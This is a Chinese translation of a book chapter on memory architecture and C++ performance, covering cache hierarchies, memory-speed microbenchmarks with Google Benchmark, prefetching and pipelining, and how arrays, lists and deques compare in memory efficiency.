原文:
zh.annas-archive.org/md5/D1378BAD9BFB33A3CD435A706973BFFF
译者:飞龙
第四章:内存架构和性能
在 CPU 之后,内存通常是限制整体程序性能的硬件组件。在本章中,我们首先学习现代内存架构,它们固有的弱点以及对抗或至少隐藏这些弱点的方法。对于许多程序来说,性能完全取决于程序员是否利用了旨在提高内存性能的硬件特性,本章将教授必要的技能。
在本章中,我们将涵盖以下主要主题:
-
内存子系统概述
-
内存访问性能
-
访问模式及其对算法和数据结构设计的影响
-
内存带宽和延迟
技术要求
同样,您将需要一个 C++编译器和一个微基准测试工具,例如我们在上一章中使用的 Google Benchmark 库(位于github.com/google/benchmark
)。我们还将使用LLVM 机器码分析器(LLVM-MCA),位于llvm.org/docs/CommandGuide/llvm-mca.html
。如果您想使用 MCA,您的编译器选择将更有限:您需要一个基于 LLVM 的编译器,如 Clang。
本章的代码可以在此处找到:github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs/tree/master/Chapter04
性能始于 CPU,但并不止于此。
在上一章中,我们研究了 CPU 资源以及如何将它们用于实现最佳性能。特别是,我们观察到 CPU 具有并行进行大量计算的能力(指令级并行性)。我们在多个基准测试中进行了演示,显示 CPU 可以在没有任何性能惩罚的情况下每个周期执行许多操作:例如,添加和减去两个数字所需的时间与仅添加它们所需的时间相同。
然而,您可能已经注意到,这些基准测试和示例具有一个相当不寻常的特性。考虑以下示例:
for (size_t i = 0; i < N; ++i) {
a1 += p1[i] + p2[i];
a2 += p1[i] * p2[i];
a3 += p1[i] << 2;
a4 += p2[i] – p1[i];
a5 += (p2[i] << 1)*p2[i];
a6 += (p2[i] - 3)*p1[i];
}
我们已经使用了这段代码片段来证明 CPU 可以对两个值p1[i]
和p2[i]
进行八次操作,几乎没有额外成本,与仅进行一次操作相比。但我们总是非常小心地添加更多操作而不添加更多输入;在几个场合,我们提到过,CPU 的内部并行性适用于只要值已经在寄存器中。在之前的示例中,当添加第二个、第三个等直到第八个操作时,我们小心地保持只有两个输入。这导致了一些不寻常和不现实的代码。在现实生活中,您通常需要在给定的输入集上计算多少个事情?大多数情况下少于八个。
这并不意味着除非您运行类似之前示例的奇异代码,否则 CPU 的整个计算潜力都会被浪费。指令级并行性是流水线处理的计算基础,我们可以同时执行循环不同迭代的操作。无分支计算完全是为了将条件指令换成无条件计算,因此几乎完全依赖于通常情况下我们通常可以免费获得更多计算的事实。
然而,问题仍然存在:为什么我们要限制 CPU 基准测试的方式呢?毕竟,如果我们只是增加更多的输入,那么在之前的示例中想出八种不同的事情会更容易得多:
for (size_t i = 0; i < N; ++i) {
a1 += p1[i] + p2[i];
a2 += p3[i] * p4[i];
a3 += p1[i] << 2;
a4 += p2[i] - p3[i];
a5 += (p4[i] << 1)*p2[i];
a6 += (p3[i] - 3)*p1[i];
}
这与我们之前看到的代码相同,只是现在每次迭代操作四个不同的输入值,而不是两个。它继承了之前示例的所有尴尬之处,但只是因为我们希望在测量某些性能变化的影响时尽可能少地进行更改。而且影响是显著的:
图 4.1
对四个输入值进行相同的计算大约需要多 36%的时间。当我们需要在内存中访问更多数据时,计算会受到延迟。
应该指出,还有另一个原因会影响性能,那就是增加更多的独立变量、输入或输出可能会影响性能:CPU 可能会用尽寄存器来存储这些变量进行计算。虽然这是许多实际程序中的一个重要问题,但在这里并非如此。这段代码并不复杂到足以用完现代 CPU 的所有寄存器(确认这一点最简单的方法是检查机器代码,不幸的是)。
显然,访问更多的数据似乎会降低代码的速度。但是为什么呢?从非常高的层面上来说,原因是内存根本跟不上 CPU。有几种方法可以估计这种内存差距的大小。最简单的方法在现代 CPU 的规格中就可以看出来。如我们所见,CPU 今天的时钟频率在 3 GHz 到 4 GHz 之间,这意味着一个周期大约是 0.3 纳秒。在适当的情况下,CPU 每秒可以执行多个操作,因此每纳秒执行十次操作并不是不可能的(尽管在实践中很难实现,并且是一个非常高效程序的明确迹象)。另一方面,内存速度要慢得多:例如,DDR4 内存时钟的工作频率为 400 MHz。您还可以找到高达 3200 MHz 的值;但是,这不是内存时钟,而是数据速率,要将其转换为类似内存速度的东西,您还必须考虑列访问脉冲延迟,通常称为CAS 延迟或CL。粗略地说,这是 RAM 接收数据请求、处理数据请求并返回值所需的周期数。没有一个单一的内存速度定义在所有情况下都是有意义的(本章后面我们将看到一些原因),但是,第一次近似地,具有 3.2 GHz 数据速率和 CAS 延迟 15 的 DDR4 模块的内存速度约为 107 MHz,或者每次访问需要 9.4 纳秒。
无论从哪个角度来看,CPU 每秒可以执行的操作比内存提供的输入值要多得多,或者存储结果。所有程序都需要以某种方式使用内存,内存访问的细节将对性能产生重大影响,有时甚至会限制性能。然而,这些细节非常重要:内存差距对性能的影响可以从微不足道到内存成为程序的瓶颈。我们必须了解内存在不同条件下对程序性能的影响以及原因,这样我们才能利用这些知识来设计和实现最佳性能的代码。
测量内存访问速度
我们有充分的证据表明,与内存中的数据相比,CPU 可以更快地处理寄存器中已有的数据。处理器和内存速度的规格单独就至少暗示了一个数量级的差异。然而,我们现在已经学会了不要在没有通过直接测量验证之前对性能进行任何猜测或假设。这并不意味着对系统架构的任何先前知识以及我们可以基于该知识做出的任何假设都没有用。这些假设可以用来指导实验并设计正确的测量方法。我们将在本章中看到,偶然发现的过程只能让你走得更远,甚至可能导致错误。测量本身可能是正确的,但往往很难确定到底在测量什么以及我们可以从结果中得出什么结论。
测量内存访问速度似乎应该是相当琐碎的。我们只需要一些内存来读取,并且一种计时读取的方法,就像这样:
volatile int* p = new int;
*p = 42;
for (auto _ : state) {
benchmark::DoNotOptimize(*p);
}
delete p;
此基准运行和测量……某物。您可以期望报告一个迭代的时间为 0 纳秒。这可能是不希望的编译器优化的结果:如果编译器发现整个程序没有可观察的效果,它可能会将其优化为无效果。尽管如此,我们已经采取了预防措施:我们读取的内存是volatile
,访问volatile
内存被认为是可观察的效果,不能被优化掉。相反,0 纳秒的结果在某种程度上是基准本身的不足:它表明单次读取比 1 纳秒更快。虽然这与我们基于内存速度的预期不太一样,但我们无法从一个我们不知道的数字中学到任何东西,包括我们自己的错误。要修复基准的测量方面,我们所要做的就是在一个基准迭代中执行多次读取,如下所示:
volatile int* p = new int;
*p = 42;
for (auto _ : state) {
benchmark::DoNotOptimize(*p);
… repeat 32 times …
benchmark::DoNotOptimize(*p);
}
state.SetItemsProcessed(32*state.iterations());
delete p;
在这个例子中,我们每次迭代执行 32 次读取。虽然我们可以从报告的迭代时间中计算出单个读取的时间,但让 Google Benchmark 库为我们进行计算并报告每秒读取的次数更方便;这是通过在基准结束时设置处理的项目数量来实现的。
这个基准应该在中档 CPU 上报告迭代时间约为 5 纳秒,证实单次读取为这个时间的 1/32,远低于 1 纳秒(因此我们对每次迭代单次读取为 0 的原因的猜测得到了验证)。另一方面,这个测得的值与我们对内存速度的期望不符。我们之前对性能瓶颈的假设可能是错误的;这并非第一次。或者,我们可能正在测量与内存速度不同的东西。
内存架构
要正确理解如何测量内存性能,我们必须更多地了解现代处理器的内存架构。对于我们的目的来说,内存系统最重要的特性是它是分层的。CPU 不直接访问主内存,而是通过一系列缓存层次结构:
图 4.2-内存层次结构图
图 4.2 中的 RAM 是主内存,主板上的 DRAM。当系统规格说明机器有多少吉字节的内存时,那就是 DRAM 的容量。正如你所看到的,CPU 并不直接访问主内存,而是通过多个层次的缓存层次结构。这些缓存也是内存电路,但它们位于 CPU 芯片上,并且使用不同的技术来存储数据:它们都是不同速度的 SRAM。从我们的角度来看,DRAM 和 SRAM 之间的关键区别是 SRAM 的访问速度要快得多,但它的功耗比 DRAM 要大得多。随着我们通过内存层次结构接近 CPU,内存访问速度也会增加:一级(L1)缓存的访问时间几乎与 CPU 寄存器相同,但它使用的功率很大,我们只能有很少的这样的内存,通常每个 CPU 核心为 32KB。下一级,L2 缓存,更大但更慢,第三级(L3)缓存更大但也更慢(通常在 CPU 的多个核心之间共享),层次结构的最后一级是主内存本身。
当 CPU 第一次从主内存中读取数据值时,该值通过所有缓存级别传播,并且它的副本留在缓存中。当 CPU 再次读取相同的值时,它不需要等待该值从主内存中获取,因为相同值的副本已经在快速的 L1 缓存中可用。
只要我们想要读取的数据适合 L1 缓存,那就是需要发生的一切:所有数据将在第一次访问时加载到缓存中,之后,CPU 只需要访问 L1 缓存。然而,如果我们尝试访问当前不在缓存中的值,并且缓存已经满了,就必须从缓存中驱逐一些数据以为新值腾出空间。这个过程完全由硬件控制,硬件有一些启发式方法来确定我们最不可能再次需要的值,基于我们最近访问的值(第一次近似,很可能很长时间没有使用的数据可能不会很快再次需要)。下一级缓存更大,但使用方式相同:只要数据在缓存中,就在那里访问(离 CPU 越近越好)。否则,它必须从下一级缓存或者 L3 缓存中获取,如果缓存已满,就必须从缓存中驱逐一些其他数据(也就是说,被缓存遗忘,因为原始数据仍然在主内存中)。
现在我们可以更好地理解我们之前测量的内容:因为我们一遍又一遍地读取相同的值,成千上万次,初始读取的成本完全丢失了,平均读取时间就是 L1 缓存读取的时间。L1 缓存确实似乎非常快,所以如果你的整个数据适合 32 KB,你不需要担心内存差距。否则,你必须学会如何正确测量内存性能,这样你就可以得出适用于你的程序的结论。
测量内存和缓存速度
现在我们明白了内存速度比单次读取的时间更复杂,我们可以设计一个更合适的基准测试。我们可以预期缓存大小会显著影响结果,因此我们必须访问不同大小的数据,从几千字节(适合 32 KB L1 缓存)到数十兆字节或更多(L3 缓存大小不同,但通常在 8 MB 到 12 MB 左右)。由于对于大数据量,内存系统将不得不从缓存中清除旧数据,我们可以预期性能取决于该预测的有效性,或者更一般地说,取决于访问模式。顺序访问,比如复制一系列内存,最终的性能可能会与以随机顺序访问相同范围的性能有很大不同。最后,结果可能取决于内存访问的粒度:访问 64 位long
值是否比访问单个char
更慢?
用于顺序读取大数组的简单基准测试可以如下所示:
template <class Word>
void BM_read_seq(benchmark::State& state) {
const size_t size = state.range(0);
void* memory = ::malloc(size);
void* const end = static_cast<char*>(memory) + size;
volatile Word* const p0 = static_cast<Word*>(memory);
Word* const p1 = static_cast<Word*>(end);
for (auto _ : state) {
for (volatile Word* p = p0; p != p1; ) {
REPEAT(benchmark::DoNotOptimize(*p++);)
}
benchmark::ClobberMemory();
}
::free(memory);
state.SetBytesProcessed(size*state.iterations());
state.SetItemsProcessed((p1 - p0)*state.iterations());
}
写入的基准测试看起来非常相似,在主循环中只有一行变化:
Word fill = {}; // Default-constructed
for (auto _ : state) {
for (volatile Word* p = p0; p != p1; ) {
REPEAT(benchmark::DoNotOptimize(*p++ = fill);)
}
benchmark::ClobberMemory();
}
我们写入数组的值不应该有影响;如果你担心零有些特殊,你可以用任何其他值初始化fill
变量。
宏REPEAT
用于避免手动复制基准测试代码多次。我们仍然希望在每次迭代中执行多次内存读取:一旦我们开始报告每秒读取的次数,避免每次迭代 0 纳秒的报告就不那么关键了,但是对于像我们这样非常便宜的迭代来说,循环本身的开销是非常重要的,因此最好手动展开这个循环。我们的REPEAT
宏将循环展开 32 次:
#define REPEAT2(x) x x
#define REPEAT4(x) REPEAT2(x) REPEAT2(x)
#define REPEAT8(x) REPEAT4(x) REPEAT4(x)
#define REPEAT16(x) REPEAT8(x) REPEAT8(x)
#define REPEAT32(x) REPEAT16(x) REPEAT16(x)
#define REPEAT(x) REPEAT32(x)
当然,我们必须确保我们请求的内存大小足够大,可以容纳 32 个Word
类型的值,并且总数组大小可以被 32 整除;这两者对我们的基准测试代码都不是重大限制。
说到Word
类型,这是我们第一次使用TEMPLATE
基准测试。它用于生成多种类型的基准测试,而不是复制代码。调用这样的基准测试有一点不同:
#define ARGS ->RangeMultiplier(2)->Range(1<<10, 1<<30)
BENCHMARK_TEMPLATE1(BM_read_seq, unsigned int) ARGS;
BENCHMARK_TEMPLATE1(BM_read_seq, unsigned long) ARGS;
如果 CPU 支持,我们可以使用 SSE 和 AVX 指令以更大的块读取和写入数据,例如在 x86 CPU 上一次移动 16 或 32 字节。在 GCC 或 Clang 中,有这些更大类型的库头文件:
#include <emmintrin.h>
#include <immintrin.h>
…
BENCHMARK_TEMPLATE1(BM_read_seq, __m128i) ARGS;
BENCHMARK_TEMPLATE1(BM_read_seq, __m256i) ARGS;
类型__m128i
和__m256i
不是内置语言(至少不是 C/C++),但 C++让我们很容易地声明新类型:这些是值类型类(表示单个值的类),并且为它们定义了一组算术运算,例如加法和乘法,编译器使用适当的 SIMD 指令实现这些运算。
前面的基准测试按顺序访问内存范围,从开始到结束,依次,每次一个字。内存的大小会变化,由基准参数指定(在本例中,从 1 KB 到 1 GB,每次加倍)。复制完内存范围后,基准测试会再次进行,从开始,直到积累足够的测量。
在以随机顺序访问内存速度时,必须更加小心。天真的实现会导致我们测量类似这样的代码:
benchmark::DoNotOptimize(p[rand() % size]);
不幸的是,这个基准测试测量了调用rand()
函数所需的时间:它的计算成本比读取一个整数要高得多,你永远不会注意到后者的成本。甚至取模运算符%
的成本也比单个读取或写入要高得多。获得一些近似准确的方法是预先计算随机索引并将它们存储在另一个数组中。当然,我们必须面对这样一个事实,即我们现在既读取索引值又读取索引数据,因此测量成本是两次读取(或一次读取和一次写入)。
按随机顺序写入内存的附加代码可以如下所示:
const size_t N = size/sizeof(Word);
std::vector<int> v_index(N);
for (size_t i = 0; i < N; ++i) v_index[i] = i;
std::random_shuffle(v_index.begin(), v_index.end());
int* const index = v_index.data();
int* const i1 = index + N;
Word fill; memset(&fill, 0x0f, sizeof(fill));
for (auto _ : state) {
for (const int* ind = index; ind < i1; ) {
REPEAT(*(p0 + *ind++) = fill;)
}
benchmark::ClobberMemory();
}
在这里,我们使用 STL 算法random_shuffle
生成索引的随机顺序(我们也可以使用随机数;虽然有些索引可能出现多次,而其他索引可能从未出现,但这不应该对结果产生太大影响)。我们写入的值实际上并不重要:写入任何数字都需要相同的时间,但是如果编译器能够确定代码正在写入大量零,它有时可以进行特殊优化,因此最好避免这样做并写入其他内容。还要注意,更长的 AVX 类型不能用整数初始化,因此我们使用memset()
将任意位模式写入写入值。
读取的基准测试当然非常相似,只是内部循环必须改变:
REPEAT(benchmark::DoNotOptimize(*(p0 + *ind++));)
我们有测量主要测量内存访问成本的基准代码。推进索引所需的算术运算是不可避免的,但是加法最多需要一个周期,并且我们已经看到 CPU 可以同时执行多个加法,因此数学不会成为瓶颈(而且无论如何,任何访问数组中的内存的程序都必须执行相同的计算,因此实际上重要的是访问速度)。现在让我们看看我们的努力的结果。
内存速度:数字
现在我们有了测量读取和写入内存速度的基准测试代码,我们可以收集结果并看看在访问内存中的数据时如何获得最佳性能。我们首先从随机访问开始,其中我们读取或写入的每个值的位置是不可预测的。
随机内存访问的速度
测量结果可能会相当嘈杂,除非你多次运行这个基准测试并对结果取平均值(基准库可以为你做到这一点)。对于一个合理的运行时间(几分钟),你可能会看到类似这样的结果:
图 4.3 - 内存大小的随机读取速度
图 4.3中的基准结果显示了每秒从内存中读取的字数(以十亿计,在任何合理的 PC 或工作站上都可以找到),其中字是 64 位整数或 256 位整数(long
或__m256i
,分别)。相同的测量结果也可以用所选大小的单个字的读取时间来呈现。
图 4.4 - 读取一个数组元素的时间与数组大小
图表有几个有趣的特点,我们可以一次观察到。首先,正如我们预期的那样,没有单一的内存速度。从我使用的机器上读取一个 64 位整数的时间从 0.3 纳秒到 7 纳秒不等。读取少量数据的速度,每个值而言,比读取大量数据要快得多。我们可以从这些图表中看到缓存的大小:32 KB 的 L1 缓存速度快,只要所有数据都适合 L1 缓存,读取速度就不依赖于数据量。一旦我们超过 32 KB 的数据,读取速度就开始下降。数据现在适合于 L2 缓存,它更大(256 KB)但速度较慢。数组越大,适合快速 L1 缓存的部分就越小,访问速度就越慢。
如果数据溢出 L2 缓存,读取时间会进一步增加,我们必须使用更慢的 L3 缓存。L3 缓存更大,但速度更慢。然而,直到数据大小超过 8MB,才会发生任何事情。只有在那时,我们才会实际从主存储器中读取数据:直到现在,数据是在我们第一次接触它时从内存中移动到缓存中的,所有后续的读取操作都只使用缓存。但是,如果我们需要一次访问超过 8MB 的数据,其中一些数据将不得不从主存储器中读取(在这台机器上,缓存大小会因 CPU 型号而异)。当然,我们不会立即失去缓存的好处:只要大部分数据适合缓存,它至少在某种程度上是有效的。但是一旦数据量超过缓存大小几倍,读取时间几乎完全取决于从内存中检索数据所需的时间。
每当我们需要读取或写入某个变量,并且在缓存中找到它时,我们称之为缓存命中。然而,如果没有找到,那么我们就会注册缓存未命中。当然,L1 缓存未命中可能会成为 L2 命中。L3 缓存未命中意味着我们必须一直到主存储器。
值本身的第二个值得注意的属性是:从内存中读取一个整数需要 7 纳秒。按照处理器的标准,这是一个非常长的时间:在前一章中,我们已经看到相同的 CPU 可以在每纳秒做几个操作。让这个事实深入人心:CPU 可以在读取单个整数值的时间内做大约 50 个算术运算,除非该值已经在缓存中。很少有程序需要对每个值进行 50 次操作,这意味着除非我们能找出一些方法来加速内存访问,否则 CPU 可能会被低效利用。
最后,我们看到每秒的读取速度不取决于字的大小。从实际角度来看,最相关的含义是,如果我们使用 256 位指令来读取内存,我们可以读取四倍的数据。当然,事情并不那么简单:SSE 和 AVX 加载指令将值读入不同的寄存器,而不是常规加载,因此我们还必须使用 SSE 或 AVX SIMD 指令来进行计算。一个更简单的情况是当我们只需要从内存的一个位置复制大量数据到另一个位置;我们的测量表明,复制 256 位字的速度比使用 64 位字快四倍。当然,已经有一个复制内存的库函数memcpy()
或std::memcpy()
,它经过了最佳效率的优化。
还有一个暗示是,速度不依赖于字长的事实:这意味着读取速度受延迟而不是带宽限制。延迟是发出数据请求和检索数据之间的延迟时间。带宽是内存总线在给定时间内可以传输的数据总量。从 64 位字到 256 位字传输的数据量是相同时间内的四倍;这意味着我们还没有达到带宽限制。虽然这可能看起来是一个纯理论上的区别,但它对编写高效程序有重要的影响,我们将在本章后面学习到。
最后,我们可以测量写入内存的速度:
图 4.5 - 一个数组元素的写入时间与数组大小的关系
在我们的情况下,随机读写的性能非常相似,但这在不同的硬件上可能会有所不同:有时读取速度更快。我们之前观察到的有关读取内存速度的一切也适用于写入:我们在图 4.5 中看到了缓存大小的影响,如果主内存参与其中,写入一个元素的总等待时间非常长,而写入大字更有效。
关于内存访问对性能的影响,我们可以得出什么结论?一方面,如果我们需要重复访问少量数据(小于 32KB),我们不必太担心。当然,“重复”是关键:对任何内存位置的第一次访问将不得不触及主内存,无论我们计划访问多少内存(计算机不知道你的数组很小,直到你读取整个数组并回到开头——第一次读取小数组的第一个元素看起来与读取大数组的第一个元素完全相同)。另一方面,如果我们需要访问大量数据,内存速度很可能成为我们的首要关注点:每个数字需要 7 纳秒,你走不了太远。
本章中我们将看到几种提高内存性能的技术。在我们研究如何改进我们的代码之前,让我们看看我们可以从硬件本身得到什么帮助。
顺序内存访问的速度
到目前为止,我们已经测量了在随机位置访问内存的速度。当我们这样做时,每次内存访问实际上都是新的。我们正在读取的整个数组被加载到它可以容纳的最小缓存中,然后我们的读写随机访问该缓存中的不同位置。如果数组无法适应任何缓存,那么我们将随机访问内存中的不同位置,并在每次访问时产生 7 纳秒的延迟(对于我们使用的硬件)。
随机内存访问在我们的程序中经常发生,但同样频繁的是,我们有一个需要从第一个元素到最后一个元素处理的大数组。重要的是要指出,这里的“随机”和“顺序”访问是由内存地址的顺序决定的。有可能会产生误解:列表是一种不支持随机访问的数据结构(意味着你不能跳到列表的中间),必须按顺序访问,从头元素开始。然而,如果每个列表元素是分别分配并在不同时间分配的,那么按顺序遍历列表很可能以随机顺序访问内存。另一方面,数组是一种随机访问数据结构(意味着你可以访问任何元素而不必访问它之前的元素)。然而,从头到尾读取数组是按顺序访问内存,按照单调递增的地址顺序。在本章中,除非另有说明,我们在谈论顺序或随机访问时都关注访问内存地址的顺序。
顺序内存访问的性能是完全不同的。以下是顺序写入的结果:
图 4.6 - 一个数组元素的写入时间与数组大小的关系,顺序访问
图的整体形状与之前相同,但差异和相似之处同样重要。我们应该注意的第一个差异是垂直轴的刻度:时间值比我们在图 4.5中看到的要小得多。写入 256 位值只需要 2.5 纳秒,而 64 位整数只需要 0.8 纳秒。
第二个不同之处是不同字大小的曲线不再相同。这里有一个重要的警告:这个结果高度依赖于硬件:在许多系统上,你会看到与上一节类似的结果。在我使用的硬件上,不同字大小的顺序写入时间对于 L1 缓存是相同的,但对于其他缓存和主内存是不同的。观察主内存的数值,我们可以看到写入 64 位整数的时间并不是写入 32 位整数所需时间的两倍,对于更大的大小,写入时间每当字大小加倍时就会加倍。这意味着限制不是我们每秒可以写入多少个字,而是每秒可以写入多少个字节:所有字大小的速度(除了最小的那个)每秒的速度将是相同的。这意味着速度现在不再受延迟的限制,而是受带宽的限制:我们正在以总线能够传输的速度将位推入内存,无论我们是将它们分组成 64 位块还是 256 位块,我们称之为字,我们已经达到了内存的带宽限制。再次强调,这个结果比我们在本章中做出的任何其他观察都更依赖于硬件:在许多机器上,内存足够快,单个 CPU 无法饱和其带宽。
我们可以得出的最后一个观察是,虽然与缓存大小对应的曲线上的步骤仍然可见,但它们不那么明显,也没有那么陡峭。我们有了结果,也有了观察。这一切意味着什么呢?
硬件中的内存性能优化
这三个观察结果合在一起,指向硬件本身采用了某种延迟隐藏技术(除了改变内存访问顺序,我们没有做任何事情来改善我们代码的性能,所以所有的收益都归功于硬件做了一些不同的事情)。在随机访问主内存时,每次访问在我们的机器上需要 7 纳秒。这是从请求特定地址的数据到它被传送到 CPU 寄存器所需的时间,这种延迟完全由延迟决定(无论我们请求了多少字节,我们都必须等待 7 纳秒才能得到任何东西)。在顺序访问内存时,硬件可以立即开始传输数组的下一个元素:第一个元素仍然需要 7 纳秒才能访问,但之后,硬件可以开始以 CPU 和内存总线可以处理的速度从内存中流式传输整个数组。数组的第二个和之后的元素的传输甚至在 CPU 发出数据请求之前就开始了。因此,延迟不再是限制因素,带宽是。
当然,这假设硬件知道我们要顺序访问整个数组以及数组的大小。实际上,硬件并不知道这些,但就像我们在上一章中学习的条件指令一样,内存系统中有学习电路来做出合理的猜测。在我们的情况下,我们遇到了被称为预取的硬件技术。一旦内存控制器注意到 CPU 连续访问了几个地址,它就假设模式将继续,并准备访问下一个内存位置,将数据传输到 L1 缓存(对于读取)或为写入在 L1 缓存中腾出空间。理想情况下,预取技术将允许 CPU 始终以 L1 缓存速度访问内存,因为在 CPU 需要每个数组元素时,它已经在 L1 缓存中。现实是否符合这种理想情况取决于 CPU 在访问相邻元素之间需要多少工作。在我们的基准测试中,CPU 几乎没有做任何工作,预取落后了。即使预期线性顺序访问,它也无法以足够快的速度在主内存和 L1 缓存之间传输数据。然而,预取非常有效地隐藏了内存访问的延迟。
预取不是基于对内存访问将如何进行的预见或先验知识(有一些特定于平台的系统调用允许程序通知硬件即将按顺序访问一段内存,但它们不具有可移植性,在实践中很少有用)。相反,预取试图检测内存访问中的模式。因此,预取的有效性取决于它能够多么有效地确定模式并猜测下一个访问的位置。
有很多信息,其中很多是过时的,关于预取模式检测的限制。例如,在旧的文献中,你可以读到,按正向顺序访问内存(对于数组a
,从a[0]
到a[N-1]
)比反向访问更有效。这对于任何现代 CPU 来说都不再成立,也已经多年如此。如果我开始准确描述哪些模式在预取方面是有效的,哪些不是有效的,这本书可能会陷入同样的陷阱。最终,如果你的算法需要特定的内存访问模式,并且你想找出你的预取是否能够处理它,最可靠的方法是使用类似我们在本章中用于随机内存访问的基准代码来进行测量。
总的来说,我可以告诉你,预取对于按递增和递减顺序访问内存同样有效。然而,改变方向会导致一些惩罚,直到预取适应新的模式。使用步长访问内存,比如在数组中访问每四个元素,将被检测和预测,就像密集的顺序访问一样有效。预取可以检测多个并发步长(即访问每三个和每七个元素),但在这里,我们进入了一个领域,你必须收集自己的数据,因为硬件能力从一个处理器到另一个处理器会发生变化。
硬件采用的另一种性能优化技术是非常成功的流水线或硬件循环展开。我们已经在上一章中看到了它的应用,用于隐藏条件指令造成的延迟。同样,流水线也用于隐藏内存访问的延迟。考虑这个循环:
for (size_t i = 0; i < N; ++i) {
b[i] = func(a[i]);
}
在每次迭代中,我们从数组中读取值a[i]
,进行一些计算,并将结果b[i]
存储在另一个数组中。由于读取和写入都需要时间,我们可以期望循环执行的时间线看起来像这样:
图 4.7 - 非流水线循环的时间线
这一系列操作会让 CPU 大部分时间都在等待内存操作完成。相反,硬件将预先读取指令流,并叠加不相互依赖的指令序列:
图 4.8 - 流水线(展开)循环的时间线
第二个数组元素的加载可以在第一个元素被读取后立即开始,假设有足够的寄存器。为简单起见,我们假设 CPU 一次只能加载两个值;大多数真实的 CPU 可以同时进行多次内存访问,这意味着流水线可以更宽,但这并不改变主要思想。第二组计算在输入值可用后立即开始。经过前几步后,流水线被加载,CPU 大部分时间都在计算(如果不同迭代的计算步骤重叠,CPU 甚至可以同时执行多个迭代,前提是它有足够的计算单元来这样做)。
流水线可以隐藏内存访问的延迟,但显然是有限制的。如果读取一个值需要 7 纳秒,而我们需要读取一百万个值,那么最好情况下需要 7 毫秒,这是无法避免的(再次假设 CPU 一次只能读取一个值)。流水线可以通过将计算与内存操作叠加在一起来帮助我们,在理想情况下,所有计算都在这 7 毫秒内完成。预取可以在我们需要之前开始读取下一个值,从而缩短平均读取时间,但前提是它能正确猜测出该值。无论如何,本章中进行的测量展示了以不同方式访问内存的最佳情况。
在测量内存速度和呈现结果方面,我们已经涵盖了基础知识,并了解了内存系统的一般特性。任何更详细或具体的测量都留给读者自行练习,你应该有足够的能力收集所需的数据,以便对你特定应用程序的性能做出明智的决策。现在我们转向下一步:我们知道内存是如何工作的,以及我们可以期望从中获得的性能,但我们可以做些什么来改善具体程序的性能呢?
优化内存性能
当许多程序员学习了上一节的材料后,他们通常的第一反应是:“谢谢,我现在明白为什么我的程序慢了,但我必须处理我拥有的数据量,而不是理想的 32KB,算法也是固定的,包括复杂的数据访问模式,所以我无能为力。”如果我们不学会如何为我们需要解决的问题获得更好的内存性能,那么本章就没有多大价值。在本节中,我们将学习可以用来改善内存性能的技术。
内存高效的数据结构
数据结构的选择,或者更一般地说,数据组织,通常是程序员在内存性能方面做出的最重要决定。重要的是要了解你能做什么,不能做什么:图 4.5和图 4.6中显示的内存性能确实就是全部,你无法绕过它(严格来说,这只有 99%的真实性;有一些少见的异类内存访问技术可以超出这些图表所显示的限制)。但是,你可以选择在这些图表上的哪个点对应于你的程序。首先让我们考虑一个简单的例子:我们有 1 百万个 64 位整数,我们需要按顺序存储和处理。我们可以将这些值存储在一个数组中;数组的大小将为 8 MB,并且根据我们的测量,访问时间约为 0.6 纳秒/值,如图 4.6所示。
图 4.9 - 一个数组(A)与列表(L)元素的写入时间
或者,我们可以使用列表来存储相同的数字。std::list
是一个节点集合,每个节点都有值和指向下一个和上一个节点的两个指针。因此,整个列表使用了 24 MB 的内存。此外,每个节点都是通过单独调用operator new
来分配的,因此不同的节点可能位于非常不同的地址,特别是如果程序同时进行其他内存分配和释放。在遍历列表时,我们需要访问的地址不会有任何模式,因此要找到列表的性能,我们只需要在曲线上找到对应于 24 MB 内存范围的点,这给出了每个值超过 5 纳秒,几乎比在数组中访问相同数据慢一个数量级。
在这一点上要求证明的人,从上一章中学到了宝贵的东西。我们可以轻松地构建一个微基准测试,比较将数据写入列表和相同大小的向量。这是向量的基准测试:
template <class Word>
void BM_write_vector(benchmark::State& state) {
const size_t size = state.range(0);
std::vector<Word> c(size);
Word x = {};
for (auto _ : state) {
for (auto it = c.begin(), it0 = c.end(); it !=
it0;) {
REPEAT(benchmark::DoNotOptimize(*it++ = x);)
}
benchmark::ClobberMemory();
}
}
BENCHMARK_TEMPLATE1(BM_write_vector, unsigned long)->Arg(1<<20);
将std::vector
更改为std::list
以创建一个列表基准测试。请注意,与先前的基准测试相比,大小的含义已经改变:现在它是容器中元素的数量,因此内存大小将取决于元素类型和容器本身,就像图 4.6中所示的那样。对于 1 百万个元素,结果正如所承诺的那样:
图 4.10 - 列表与向量基准测试
为什么有人会选择链表而不是数组(或std::vector
)?最常见的原因是,在创建时,我们不知道将要有多少数据,而且由于涉及到复制,增长向量是非常低效的。有几种解决这个问题的方法。有时可以相对廉价地预先计算数据的最终大小。例如,我们可能需要扫描一次输入数据来确定为结果分配多少空间。如果输入数据组织得很有效,可能值得对输入进行两次遍历:首先是计数,其次是处理。
如果不可能预先知道最终数据大小,我们可能需要一个更智能的数据结构,它结合了向量的内存效率和列表的调整效率。这可以通过使用块分配的数组来实现:
图 4.11 - 块分配的数组(deque)可以就地增长
这种数据结构以固定数量的块分配内存,通常足够小,可以适应 L1 缓存(通常使用 2 KB 到 16 KB 之间)。每个块都被用作数组,因此在每个块内,元素是按顺序访问的。块本身是以列表的形式组织的。如果需要扩展这种数据结构,只需分配另一个块并将其添加到列表中。访问每个块的第一个元素可能会导致缓存未命中,但一旦预取检测到顺序访问的模式,块中的其余元素可以被高效地访问。在每个块中的元素数量上摊销,随机访问的成本可以变得非常小,由此产生的数据结构几乎可以表现得与数组或向量相同。在 STL 中,我们有这样的数据结构:std::deque
(不幸的是,大多数 STL 版本中的实现并不特别高效,对 deque 的顺序访问通常比相同大小的向量要慢一些)。
另一个偏好列表而不是数组(单块或分配的)的原因是列表允许在任何位置快速插入,而不仅仅是在末尾。如果需要这样做,那么必须使用列表或另一个节点分配的容器。在这种情况下,通常最好的解决方案是不要尝试选择适用于所有要求的单个数据结构,而是将数据从一个数据结构迁移到另一个数据结构。例如,如果我们想使用列表存储数据元素,一次一个,同时保持排序顺序,一个问题要问的是,我们是否需要顺序始终保持排序,只在插入所有元素后,或者在构建过程中的某些时候但不是一直?
